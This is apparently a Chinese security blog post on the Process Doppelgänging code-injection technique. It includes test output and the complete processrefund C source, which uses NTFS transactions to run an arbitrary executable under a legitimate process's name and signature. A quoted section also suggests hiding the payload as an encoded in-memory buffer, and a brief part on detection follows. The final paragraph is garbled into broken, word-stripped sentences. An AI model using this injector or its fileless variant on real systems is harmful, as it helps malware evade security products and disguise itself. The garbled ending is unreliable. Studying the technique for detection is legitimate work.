进程注入之Process Doppelganging(进程替身或进程分身)——技术限制较大,win7 64下实验成功,在我的win11 64下失效

写在前面

先说效果:win11 64位下

1
2
3
4
processrefund.exe calc.exe MalExe.exe
[+] Got ntdll.dll at 0x7ff93ee10000
[+] Got NtCreateSection at 0x00007FF93EEAF580
参数错误。

  就算是关闭defender和杀软也不行。

自己写一个代码,不用calc.exe,看看:

1
2
3
4
processrefund.exe sleephere44.exe MalExe.exe
[+] Got ntdll.dll at 0x7ff93ee10000
[+] Got NtCreateSection at 0x00007FF93EEAF580
参数错误。

  

换到win7 64下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
C:\Download>processrefund.exe explorer.exe MalExe.exe
[+] Got ntdll.dll at 0x77950000
[+] Got NtCreateSection at 0x00000000779B9D20
[+] Created a transaction, handle 0x20
[+] CreateFileTransacted on C:\Download\explorer.exe, handle 0x24
[+] opened malexe.exe, handle 0x28
[+] malexe size is 0x2800
[+] allocated 0x2800 bytes
[+] read malexe.exe to buffer
[+] over wrote C:\Download\explorer.exe in transcation
[+] created a section with our new malicious C:\Download\explorer.exe
[+] Got NtCreateProcessEx 0x00000000779B9D50
[+] Created our process, handle 0x30
[+] our new process oep is 0x1400012c4
[+] Got NtCreateThreadEx 0x00000000779BA300
[+] Got RtlCreateProcessParametersEx 0x000000007796A330
[+] creating Process Parameters at 0x00000000003588E0
[+] creating memory at process for our paramters 0x00350000
[+] writing our paramters to the process
[+] Got NtQueryInformationProcess 0x00000000779B9A10
[+] writing our paramters to the process peb 0x000007FFFFFD6000
[+] Thread created with handle 34
[+] rolling back the original C:\Download\explorer.exe

  

可以看到注入成功,explorer被注入效果图如下:

 我们再试试windows的系统路径,

1
2
3
4
5
C:\Download>processrefund.exe c:\windows\explorer.exe MalExe.exe
[+] Got ntdll.dll at 0x77950000
[+] Got NtCreateSection at 0x00000000779B9D20
[+] Created a transaction, handle 0x20
拒绝访问。

  

1
2
3
4
5
C:\Download>processrefund.exe c:\windows\system32\calc.exe MalExe.exe
[+] Got ntdll.dll at 0x77950000
[+] Got NtCreateSection at 0x00000000779B9D20
[+] Created a transaction, handle 0x20
拒绝访问。

  

也就是说,直接使用系统路径是没法做注入的。恶意软件真想用这个技术,必须copy一份系统路径的exe,然后拉起来做注入,这种特点太明显。

总体说来,该技术的实用性并不强。但是为了技术完整性,我还是决定深入看看!

 

尤金·科岗和塔尔·利伯曼在Blackhat EU 2017上展示了一种称为"Process Doppelganging"的入侵检测规避技术,在这种方法中NTFS事务被用来创建一个包含我们的有效负载的虚拟文件,它用我们的有效负载创建一个新的NTFS内存段,然后回滚虚拟文件,使恶意软件只存在于内存中(我们新创建的部分),然后这个部分可以被加载到一个新的进程中,并在伪装下执行。

 

 

Process Doppelganging利用介绍

摘自:https://3gstudent.github.io/Process-Doppelganging%E5%88%A9%E7%94%A8%E4%BB%8B%E7%BB%8D

0x00 前言


在最近的BlackHat Europe 2017,Tal Liberman和Eugene Kogan介绍了一种新的代码注入技术——Process Doppelgänging

据说这种利用方式支持所有Windows系统,能够绕过绝大多数安全产品的检测

于是,本文将要根据开源代码,编写程序,实现Process Doppelgänging,测试功能,分析利用思路

参考地址:

https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf

0x01 简介


本文将要介绍以下内容:

  • 原理
  • 开源代码
  • 修复方法
  • 实际测试
  • 利用思路
  • 防御检测

0x02 Process Doppelgänging原理


原理上类似于Process Hollowing,但是更加高级:

  • 不需要使用傀儡进程
  • 不需要特殊的内存操作,例如SuspendProcess和NtUnmapViewOfSection

注:

关于Process Hollowing的介绍,可参考之前的文章《傀儡进程的实现与检测》

实现思路:

1.打开一个正常文件,创建transaction

关于NTFS transaction,可参考:

http://www.ntfs.com/transaction.htm

2.在这个transaction内填入payload,payload作为进程被启动

目前为止,杀毒软件无法对填入的payload进行扫描

3.回滚transaction

相当于还原transaction,清理痕迹

对应程序实现过程:

1.创建transaction

关键函数:

  • NtCreateTransaction

2.在这个transaction内填入payload

关键函数:

  • CreateFileTransacted
  • NtCreateSection

3.payload作为进程被启动

关键函数:

  • NtCreateProcessEx
  • NtCreateThreadEx

4.回滚transaction

关键函数:

  • NtRollbackTransaction

当然,还涉及到payload的写入,申请内存、PE文件结构等,这里暂不介绍,可直接参考POC源码

对于Native API的使用,可参考之前的文章《渗透技巧——”隐藏”注册表的创建》《渗透技巧——”隐藏”注册表的更多测试》

注:

Win10 RS3前的Win10系统,使用该方法会蓝屏,原因在于NtCreateProcessEx函数传入的空指针,细节可参考:

https://bugs.chromium.org/p/project-zero/issues/detail?id=852

0x03 开源POC


目前, 已公开的POC有两个

1、processrefund

地址:

https://github.com/Spajed/processrefund

目前仅支持64位Windows系统

编译工具:VS2015,安装sdk

实际测试:

Win7 x64

测试如下图

Alt text

注:

如果选择system32下的calc.exe,会提示权限不够

启动进程calc.exe,但实际上执行MalExe.exe,弹出对话框

进程calc.exe的图标和描述都是正常的calc.exe,数字签名也正常,如下图

Alt text

2、hfiref0x的POC

https://gist.github.com/hfiref0x/a9911a0b70b473281c9da5daea9a177f

仅有一个c文件,缺少头文件ntos.h

可供参考的位置:

https://github.com/hfiref0x/UACME/blob/master/Source/Shared/ntos.h

但是还需要作二次修改

为了更加了解细节,决定不使用ntdll.lib文件(安装DDK后包含),改为通过ntdll获得Native API(当然,代码量也会增加)

以自己的方式重写一个ntos.h,并对原POC的inject.c作修改

开源地址如下:

https://github.com/3gstudent/Inject-dll-by-Process-Doppelganging

编译工具:VS2012

支持32位Windows系统

实际测试:

Win7 x86

测试如下图

Alt text

注:

如果选择system32下的calc.exe,会提示权限不够

综上,我们可以看到,Process Doppelgänging在利用效果上和Process Hollowing类似:启动一个正常进程(正常的图标、签名、描述),在这个进程中执行payload

Process Doppelgänging在利用上的一个缺点: 需要替换文件,所以在替换system32下的文件时,会提示权限不够(管理员权限无法修改该路径下的文件)

0x04 利用思路


在上节我们测试了两个POC,对Process Doppelgänging有了一些认识

而在实际利用中,需要对POC作进一步修改,利用思路如下:

将读取payload的功能去掉,改为使用Buffer存储(可进行压缩编码减小长度)

执行时读取Buffer,解密执行

这样能进一步隐藏payload,实现payload的”无文件”(payload保存在exp中,不需要写入硬盘)

0x05 检测


Process Doppelgänging并不是能绕过所有的杀毒软件,几个关键函数的调用还是会被拦截(例如NtCreateThreadEx),并且进程的内存同PE文件存在差异

0x06 小结


本文介绍了Process Doppelgänging的原理,根据开源代码,编写程序,实现Windows x86和x64系统下的利用,测试功能,分析利用思路,介绍检测方法

 
 
上面只是介绍了步骤,对于其原理揭示写在下面!

我成功运行的代码如下(使用https://github.com/Spajed/processrefund,有一个ntdefs.h文件):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#include <KtmW32.h>
#include <lmerr.h>
#include <winternl.h>
#include <psapi.h>
#include <Processthreadsapi.h>
#include "ntdefs.h"
 
// To ensure correct resolution of symbols, add Psapi.lib to TARGETLIBS
#pragma comment(lib, "psapi.lib")
 
 
void
DisplayErrorText(
    DWORD dwLastError
)
{
    HMODULE hModule = NULL; // default to system source
    LPSTR MessageBuffer;
    DWORD dwBufferLength;
 
    DWORD dwFormatFlags = FORMAT_MESSAGE_ALLOCATE_BUFFER |
        FORMAT_MESSAGE_IGNORE_INSERTS |
        FORMAT_MESSAGE_FROM_SYSTEM;
 
    //
    // If dwLastError is in the network range,
    //  load the message source.
    //
 
    if (dwLastError >= NERR_BASE && dwLastError <= MAX_NERR) {
        hModule = LoadLibraryEx(
            TEXT("netmsg.dll"),
            NULL,
            LOAD_LIBRARY_AS_DATAFILE
        );
 
        if (hModule != NULL)
            dwFormatFlags |= FORMAT_MESSAGE_FROM_HMODULE;
    }
 
    //
    // Call FormatMessage() to allow for message
    //  text to be acquired from the system
    //  or from the supplied module handle.
    //
 
    if (dwBufferLength = FormatMessageA(
        dwFormatFlags,
        hModule, // module to get message from (NULL == system)
        dwLastError,
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // default language
        (LPSTR)&MessageBuffer,
        0,
        NULL
    ))
    {
        DWORD dwBytesWritten;
 
        //
        // Output message string on stderr.
        //
        WriteFile(
            GetStdHandle(STD_ERROR_HANDLE),
            MessageBuffer,
            dwBufferLength,
            &dwBytesWritten,
            NULL
        );
 
        //
        // Free the buffer allocated by the system.
        //
        LocalFree(MessageBuffer);
    }
 
    //
    // If we loaded a message source, unload it.
    //
    if (hModule != NULL)
        FreeLibrary(hModule);
}
 
LPVOID GetBaseAddressByName(HANDLE hProcess, char *module)
{
    MEMORY_BASIC_INFORMATION    mbi;
    SYSTEM_INFO si;
    LPVOID lpMem;
    char moduleName[MAX_PATH] = { 0 };
    /* Get maximum address range from system info */
    GetSystemInfo(&si);
    /* walk process addresses */
    lpMem = 0;
    while (lpMem < si.lpMaximumApplicationAddress) {
        VirtualQueryEx(hProcess, lpMem, &mbi, sizeof(MEMORY_BASIC_INFORMATION));
        GetMappedFileName(hProcess, mbi.BaseAddress, moduleName, MAX_PATH);
 
        if (strstr(moduleName,module))//mbi.Type & MEM_IMAGE)
            return mbi.BaseAddress;
        /* increment lpMem to next region of memory */
        lpMem = (LPVOID)((ULONGLONG)mbi.BaseAddress +(ULONGLONG)mbi.RegionSize);
             
    }
    return NULL;
}
 
int main(int argc,char *argv[] )
{
 
    LARGE_INTEGER liFileSize;
    DWORD dwFileSize;
    HANDLE hSection;
    NTSTATUS ret;
     
    UNICODE_STRING  string;
     
    if (argc < 3) {
        printf("%s <exe to Doppelgang> <your exe>",argv[0]);
        return 0;
    }
     
    HMODULE hNtdll = GetModuleHandle("ntdll.dll");
    if (NULL==hNtdll)
    {
        DisplayErrorText(GetLastError());
        return -1;
    }
    printf("[+] Got ntdll.dll at 0x%llx\n", hNtdll);
    NtCreateSection createSection = (NtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");
     
    if (NULL == createSection)
    {
        DisplayErrorText(GetLastError());
        return -1;
    }
    printf("[+] Got NtCreateSection at 0x%08p\n", createSection);
    WCHAR temp[MAX_PATH] = { 0 };
    char fileFullPath[MAX_PATH] = { 0 };
 
    // argv[1] = "D:\\data\\calc.exe";
    // argv[2] = "D:\\data\\MalExe.exe";
    GetFullPathName(argv[1], MAX_PATH, fileFullPath, NULL);
    MultiByteToWideChar(CP_UTF8, 0, fileFullPath, strlen(fileFullPath), temp, MAX_PATH);
    HANDLE hTransaction = CreateTransaction(NULL,0,0,0,0,0, temp);
    if (INVALID_HANDLE_VALUE == hTransaction)
    {
        DisplayErrorText(GetLastError());
        return -1;
    }
    printf("[+] Created a transaction, handle 0x%x\n", hTransaction);
 
    HANDLE hTransactedFile = CreateFileTransacted(fileFullPath,
        GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL, hTransaction, NULL, NULL);
    if (INVALID_HANDLE_VALUE == hTransactedFile)
    {
        DisplayErrorText(GetLastError());
        return -1;
    }
    printf("[+] CreateFileTransacted on %s, handle 0x%x\n", fileFullPath, hTransactedFile);
 
    HANDLE hExe = CreateFile(argv[2],
         GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (INVALID_HANDLE_VALUE == hExe)
    {
        DisplayErrorText(GetLastError());
        return -1;
    }
    printf("[+] opened malexe.exe, handle 0x%x\n", hExe);
 
    BOOL err = GetFileSizeEx(hExe, &liFileSize);
    if (FALSE == err)
    {
        DisplayErrorText(GetLastError());
        return -1;
    }
    dwFileSize = liFileSize.LowPart;
    printf("[+] malexe size is 0x%x\n", dwFileSize);
 
    BYTE *buffer = malloc(dwFileSize);
    if (NULL == buffer)
    {
        printf("Malloc failed\n");
        return -1;
    }
    printf("[+] allocated 0x%x bytes\n", dwFileSize);
    DWORD read = 0;
    if (FALSE == ReadFile(hExe, buffer, dwFileSize, &read, NULL))
    {
        DisplayErrorText(GetLastError());
        return -1;
    }
    printf("[+] read malexe.exe to buffer\n");
 
    DWORD wrote = 0;
    if (FALSE == WriteFile(hTransactedFile, buffer, dwFileSize, &wrote, NULL))
 
    {
        DisplayErrorText(GetLastError());
        return -1;
    }
    printf("[+] over wrote %s in transcation\n", fileFullPath);
 
    ret = createSection(&hSection, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hTransactedFile);
    if(FALSE == NT_SUCCESS(ret))
    {
        DisplayErrorText(GetLastError());
        return -1;
    }
    printf("[+] created a section with our new malicious %s\n", fileFullPath);
 
 
 
    NtCreateProcessEx createProcessEx = (NtCreateProcessEx)GetProcAddress(hNtdll, "NtCreateProcessEx");
    if (NULL == createProcessEx)
    {
        DisplayErrorText(GetLastError());
        return -1;
    }
    printf("[+] Got NtCreateProcessEx 0x%08p\n", createProcessEx);
 
    HANDLE hProcess=0;
    my_RtlInitUnicodeString initUnicodeString = (my_RtlInitUnicodeString)GetProcAddress(hNtdll, "RtlInitUnicodeString");
 
    initUnicodeString(&string, temp);
 
    ret = createProcessEx(&hProcess, GENERIC_ALL,NULL, GetCurrentProcess(), PS_INHERIT_HANDLES, hSection, NULL, NULL, FALSE);
     
    printf("[+] Created our process, handle 0x%x\n", hProcess);
    if (FALSE == NT_SUCCESS(ret))
    {
        DisplayErrorText(GetLastError());
        return -1;
    }
 
    PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)buffer;
 
    PIMAGE_NT_HEADERS32 ntHeader = (PIMAGE_NT_HEADERS32)(buffer + dos_header->e_lfanew);
 
    ULONGLONG oep = ntHeader->OptionalHeader.AddressOfEntryPoint;
 
    oep+=(ULONGLONG)GetBaseAddressByName(hProcess,argv[1]);
 
 
    printf("[+] our new process oep is 0x%llx\n", oep);
    NtCreateThreadEx createThreadEx = (NtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");
    if (NULL == createThreadEx)
    {
        DisplayErrorText(GetLastError());
        return -1;
    }
    printf("[+] Got NtCreateThreadEx 0x%08p\n", createThreadEx);
 
 
    my_PRTL_USER_PROCESS_PARAMETERS ProcessParams = 0;
    RtlCreateProcessParametersEx createProcessParametersEx = (RtlCreateProcessParametersEx)GetProcAddress(hNtdll, "RtlCreateProcessParametersEx");
    if (NULL == createProcessParametersEx)
    {
        DisplayErrorText(GetLastError());
        return -1;
    }
    printf("[+] Got RtlCreateProcessParametersEx 0x%08p\n", createProcessParametersEx);
 
 
 
     
    ret = createProcessParametersEx(&ProcessParams, &string,NULL,NULL,&string,NULL,NULL,NULL,NULL,NULL, RTL_USER_PROC_PARAMS_NORMALIZED);
    if (FALSE == NT_SUCCESS(ret))
    {
        DisplayErrorText(GetLastError());
        return -1;
    }
    printf("[+] creating Process Parameters at 0x%p\n", ProcessParams);
 
    LPVOID RemoteProcessParams;
    RemoteProcessParams = VirtualAllocEx(hProcess, ProcessParams, (ULONGLONG)ProcessParams&0xffff + ProcessParams->EnvironmentSize + ProcessParams->MaximumLength, MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE);
    if(NULL == RemoteProcessParams)
    {
        DisplayErrorText(GetLastError());
        return -1;
    }
    printf("[+] creating memory at process for our paramters 0x%08x\n", RemoteProcessParams);
 
    ret=WriteProcessMemory(hProcess, ProcessParams, ProcessParams, ProcessParams->EnvironmentSize + ProcessParams->MaximumLength,NULL);
    if (FALSE == NT_SUCCESS(ret))
    {
        DisplayErrorText(GetLastError());
        return -1;
    }
    printf("[+] writing our paramters to the process\n");
 
    my_NtQueryInformationProcess queryInformationProcess = (my_NtQueryInformationProcess)GetProcAddress(hNtdll, "NtQueryInformationProcess");
    if (NULL == queryInformationProcess)
    {
        DisplayErrorText(GetLastError());
        return -1;
    }
    printf("[+] Got NtQueryInformationProcess 0x%08p\n", queryInformationProcess);
 
    PROCESS_BASIC_INFORMATION info;
 
    ret = queryInformationProcess(
        hProcess,
        ProcessBasicInformation,
        &info,
        sizeof(info),
        0);
 
    if (FALSE == NT_SUCCESS(ret))
    {
        DisplayErrorText(GetLastError());
        return -1;
    }
 
    PEB *peb = info.PebBaseAddress;
 
    ret=WriteProcessMemory(hProcess, &peb->ProcessParameters, &ProcessParams, sizeof(LPVOID), NULL);
    if (FALSE == NT_SUCCESS(ret))
    {
        DisplayErrorText(GetLastError());
        return -1;
    }
    printf("[+] writing our paramters to the process peb 0x%08p\n", peb);
 
    HANDLE hThread;
    ret = createThreadEx(&hThread, GENERIC_ALL, NULL, hProcess, (LPTHREAD_START_ROUTINE)oep, NULL, FALSE, 0, 0, 0, NULL);
    printf("[+] Thread created with handle %x\n", hThread);
    if (FALSE == NT_SUCCESS(ret))
    {
        DisplayErrorText(GetLastError());
        return -1;
    }
    if (FALSE == RollbackTransaction(hTransaction))
    {
        DisplayErrorText(GetLastError());
        return -1;
    }
    printf("[+] rolling back the original %s\n", fileFullPath);
 
    CloseHandle(hProcess);
    CloseHandle(hExe);
    CloseHandle(hTransactedFile);
    CloseHandle(hTransaction);
    return 0;
}

  

如果恶意代码是mal.exe,合法文件是calc.exe,演示下Process Doppelgänging的过程,我们重点看恶意文件是如何植入到合法进程的!
Process Doppelgänging的过程可以分为以下几个步骤:

1. 创建事务:首先,我们需要创建一个新的事务。在Windows中,事务是一种可以将一组操作作为一个整体来执行的机制。如果事务中的任何一个操作失败,那么整个事务都会被回滚,所有的操作都会被撤销。

2. 创建转录文件:然后,我们在事务中创建一个新的文件,这个文件是目标可执行文件(在这个例子中是calc.exe)的副本

3. 写入负载:接着,我们将恶意代码(在这个例子中是mal.exe)写入到转录文件中。这个操作是在事务中进行的,所以它不会立即影响到磁盘上的文件。

4. 回滚事务:然后,我们回滚事务。这会删除转录文件,但是由于Windows的缓存机制,我们仍然可以访问这个文件的旧版本。这个旧版本包含了我们的恶意代码。补充:在Windows的事务性文件系统(TxF)中,当你在一个事务中修改一个文件,然后回滚这个事务,这个文件的修改会被撤销,文件会恢复到事务开始时的状态。这就是所谓的"旧版本"。然而,由于Windows的缓存机制,即使事务已经被回滚,我们仍然可以访问到事务中的文件。这是因为Windows在内存中保留了一个这个文件的副本,这个副本包含了在事务中对文件的所有修改。在Process Doppelgänging中,我们利用这个特性来隐藏恶意代码(核心!!!)。我们首先在一个事务中创建一个新的文件,然后将恶意代码写入到这个文件中。然后,我们回滚这个事务,这会删除这个文件,但是由于Windows的缓存机制,我们仍然可以访问到这个文件的旧版本,也就是包含了恶意代码的版本。然后,我们创建一个新的进程,将这个进程的镜像文件替换为我们的文件。这样,新进程就会加载我们的恶意代码,而不是原始的可执行文件。
 
上述步骤对应的关键代码:

 


5. 创建新进程:然后,我们使用CreateProcess函数创建一个新的进程,但是在创建进程之前,我们将新进程的镜像文件替换为我们的转录文件。这样,新进程就会加载我们的恶意代码,而不是原始的可执行文件。
 
期间还使用RtlCreateProcessParametersEx函数创建新进程的参数,然后将这些参数写入到新进程的PEB(Process Environment Block)中。

6. 恢复新进程:最后,我们使用ResumeThread函数恢复新进程的主线程,新进程就会开始执行我们的恶意代码。
还会使用RollbackTransaction函数回滚事务。这会删除转录文件,但是由于Windows的缓存机制,我们仍然可以访问这个文件的旧版本。
 
上述步骤对应代码如下:

 中间有一大堆的进程参数设置?为啥需要使用RtlCreateProcessParametersEx设置创建新进程的参数???恶意文件不是已经在了旧版本里吗?

RtlCreateProcessParametersEx函数用于创建新进程的参数,这些参数会被存储在新进程的PEB(Process Environment Block)中。这些参数包括进程的命令行参数、环境变量、当前目录等信息。
在Process Doppelgänging中,我们需要创建新进程的参数,然后将这些参数写入到新进程的PEB中,这是因为新进程需要这些参数来正确地初始化。例如,新进程需要知道它的命令行参数来解析用户的输入,需要知道它的环境变量来访问系统资源,需要知道它的当前目录来解析相对路径等
虽然我们已经将恶意代码写入到了旧版本的文件中,但是这只是新进程的镜像文件,它并不包含新进程的参数。新进程的参数需要我们单独创建和设置。这就是为什么我们需要使用RtlCreateProcessParametersEx函数的原因。

 

最后这个函数“画龙点睛”:RollbackTransaction函数用于回滚一个事务,也就是撤销在事务中进行的所有操作。在Process Doppelgänging中,我们在事务中创建了一个新的文件,然后将恶意代码写入到这个文件中。当我们回滚这个事务时,这个文件会被删除,但是由于Windows的缓存机制,我们仍然可以访问到这个文件的旧版本,也就是包含了恶意代码的版本。

如果我们不调用RollbackTransaction函数,那么事务中的所有操作都会被提交,也就是说,我们对文件的修改会被写入到磁盘中。这样,恶意代码就会被写入到磁盘中,这可能会被杀毒软件检测到。此外,如果我们不回滚事务,那么我们就不能利用Windows的缓存机制来隐藏恶意代码。

因此,RollbackTransaction函数在Process Doppelgänging中起到了关键的作用。它不仅可以防止恶意代码被写入到磁盘中,还可以让我们利用Windows的缓存机制来隐藏恶意代码。


这种技术的优点是,它可以绕过大多数杀毒软件的检测,因为恶意代码并没有真正写入到磁盘中,而是隐藏在Windows的缓存中。此外,由于新进程是从一个合法的可执行文件创建的,所以它的大部分属性(例如进程名、命令行参数等)都看起来是正常的,这使得检测更加困难。
 
 
最后我们看看如何检测Process Doppelgänging?
监视和分析对CreateTransactionCreateFileTransactedRollbackTransaction API调用,以及NtCreateProcessEx和NtCreateThreadEx,还有RtlCreateProcessParametersEx 修改进程PEB信息。
如果这些API都被调用了,则说明是在执行进程了。
如果我们RollbackTransaction函数,那所有操作提交,也,我们文件修改。这,恶代码,这可能。此,如果我们,那我们不能Windows隐藏代码

RollbackTransaction函数Process Doppelgänging。它可以代码,还可以我们Windows隐藏代码
posted @   bonelee  阅读(526)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」
历史上的今天:
2022-09-20 如何规避Sysmon DNS监控
2022-09-20 关于DNS cache
2022-09-20 svchost.exe详细解析,运行过程
2020-09-20 linux下Segmentation Fault生成coredump文件进行gdb调试
2019-09-20 python dijkstra 最短路算法示意代码
2019-09-20 heapq 对有序的数组列表进行整体排序
2017-09-20 HBase单机环境搭建
点击右上角即可分享
微信分享提示